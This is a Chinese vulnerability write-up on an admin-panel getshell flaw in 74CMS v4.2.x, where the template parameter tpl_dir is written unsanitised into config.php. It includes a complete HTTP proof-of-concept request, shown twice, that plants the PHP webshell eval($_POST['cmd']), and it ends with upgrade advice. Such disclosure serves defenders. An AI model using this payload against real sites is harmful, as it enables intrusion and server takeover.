影响范围

74CMS v4.2.1~v4.2.129

漏洞危害

后台Getshell

攻击类型

后台Getshell

利用条件

登陆后台

漏洞简介

74CMS管理后台在更换模板时由于模板的路径参数可控且对参数的安全性考虑不全导致该参数可控,最终攻击者可以利用该处的设计向配置文件写入一句话木马,并Getshell。

漏洞分析

漏洞触发位置为TplController.class.php文件中的set函数:
74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Admin\Controller\TplController.class.php

从上面可以看到从请求包中获取到的tpl_dir只是进行了一个简单的过滤——去除两边的空格,之后调用“_get_templates_info”来获取模板的信息:
之后使用“ads_init”来配置当前主题下的广告位置布局信息
最后使用updateconfig来更新配置信息,并将之前设置的配置内容写入文件:
由此可知,我们之前写入的tpl_dir值最终会被写入config.php文件,而初始情况下config.php为一个数组:
所以我们最后写入的tpl_dir内容文件会代替此处的default,由此可知我们可以构造特殊payload来闭合单引号插入恶意代码最终getshell!

漏洞复现

首先下载漏洞环境,之后通过PHPstudy搭建漏洞测试环境:

之后使用安装时设置的管理员账号密码进行登录
之后依次点击"工具"——》"风格模板",之后点击"可用模板",同时使用burpsuite抓包:
之后修改“tpl_dir”的值为“ ', 'a',phpinfo(),' ”:
之后可以看到成功向配置文件中写入了之前构造的php代码:
之后在浏览器中访问可成功执行phpinfo():
同时我们也可以构造一句话木马:
GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

写入后config.php文件内容如下:
之后使用Firefox中的hackbar进行测试与命令执行:
之后使用蚁剑可以成功连接并getshell

漏洞POC

GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close

修复建议

升级74CMS到最新版本

74CMS_v4.2.1-v4.2.129后台Getshell相关推荐

  1. asp 退出登录修改cookie能进入后台_某logCMS的代码审计:越权到后台getshell

    某logCMS的代码审计:越权到后台getshell 前言 ​ 学习CTF这么久还没真正意义上审计过一款cms,这次决定花点时间去审计一款cms作为代码审计提升的跳板.由于相关要求,这里就省去cms全 ...

  2. php+sha512+漏洞,PhpMyWind最新版本注入+后台getshell

    转自http://wooyun.org/bugs/wooyun-2010-051256 洞主文中没说清楚,厂商也忽略了. 简要分析如下 漏洞出在/order.php中 [php] function G ...

  3. 通达oa wbupload.php,通达 OA 代码审计篇二 :11.8 后台 Getshell

    作者:LoRexxar'@知道创宇404实验室 日期:2021年3月9日 前篇中提到的漏洞在11.8版本中被完全修复后,我痛定思痛,从头开始找一个新的漏洞,于是就有了今天这个漏洞的诞生,但没想到的是, ...

  4. ThinkPHP 3.2.3~5.0.10 缓存函数设计缺陷后台GetShell实战

    0×00 前言 ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,由于其简单易用,很多cms都基于该框架改写.然而 Thinkphp在缓存使用却存在缺陷,生成缓存时,Thinkph ...

  5. php后台提权,基于ThinkPHP的2个CMS后台GetShell利用

    * 本文作者:Mochazz,本文属FreeBuf原创奖励计划,未经许可禁止转载文章作者:Mochazz 思路作者:szrzvdny 0x00 前言 ThinkPHP是为了简化企业级应用开发和敏捷WE ...

  6. 禅道826版本SQL注入,登录绕过以及禅道826后台GetShell的小技巧

    SQL注入由 orderBy($order) 函数过滤不严格导致.但是,这个函数对传进的参数进行了一系列过滤,导致 getshell 的条件比较苛刻.不甘心,于是乎找了一个比较好利用的地方.我只是以这 ...

  7. 后台getshell常用技巧总结

    1.利用文件上传漏洞,找文件上传处想办法上传php文件. 一些网站在设置可以允许修改上传的文件类型则直接添加php 有时候会还有检测是否为php文件,可以通过文件名变形,大小写,双写等形式绕过,只要是 ...

  8. PhpMyAdmin后台getshell

    PhpMyAdmin简介 PhpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可 ...

  9. 天天团购后台Getshell安全问题

    后台注射,向数据库插入代码.exp需要填写四个参数 $host.$path.$formhash.$cookie.提交后,前台登录执行代码. <?php /* TianTian Tuangou g ...

  10. 网站后台getshell的方法总结

    方法一:直接上传getshell 以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下: 即可成功上传大马,并成功执行,从而拿下webshell. 坑:通常由于权限限制, ...

最新文章

  1. ef mysql自动更新_EF Core中怎么实现自动更新实体的属性值到数据库
  2. SQL Developer更改日期显示格式
  3. pkcs#11和Cryptoki的介绍
  4. 团队组建阶段,项目经理要做些什么?
  5. 使用site-maven-plugin在github上搭建公有仓库
  6. 常见Linux版本概览
  7. Picasso,Glide,Fresco对比分析
  8. 阶段5 3.微服务项目【学成在线】_day03 CMS页面管理开发_15-异常处理-异常处理流程...
  9. MATLAB--四种取整函数
  10. 优雅的监听软键盘隐藏
  11. 使用机器学习预测股价
  12. oracle使用with as 提升查询效率
  13. Cocos Creater 获取和设置世界坐标
  14. android 嵌套分组拖动_Android ExpandableListView双层嵌套实现三级树形菜单
  15. 发票信息批量提取到 excel 软件 2.3
  16. 三维人脸_无法打开gl\glaux.h头文件及无法生成 SAFESEH 映像的解决方法
  17. Python【词云】《长恨歌》
  18. 【前端换肤】前端换肤方案
  19. leetcode: 529. 扫雷游戏
  20. linux系统的监控工具名称,Linux下几款系统监控工具介绍

热门文章

  1. 健康体检信息系统源码、医院体检源码 医院管理系统源码
  2. Android APK 修改
  3. python nlp 中文伪原创_人工智能伪原创工具(AI伪原创)
  4. 顶层设计:为智慧城市描画建设“蓝图”
  5. 测试过程之UT-IT-ST的区别
  6. 空间分析方法在计算机上的应用,常见的空间分析方法(很经典的总结)
  7. 达人评测 小米平板5pro和苹果ipad9选哪个好
  8. 苹果iPhone手机升级系统内存空间变小不够如何解决?
  9. [渝粤教育] 四川大学 工程水文学 参考 资料
  10. 《图解HTTP》笔记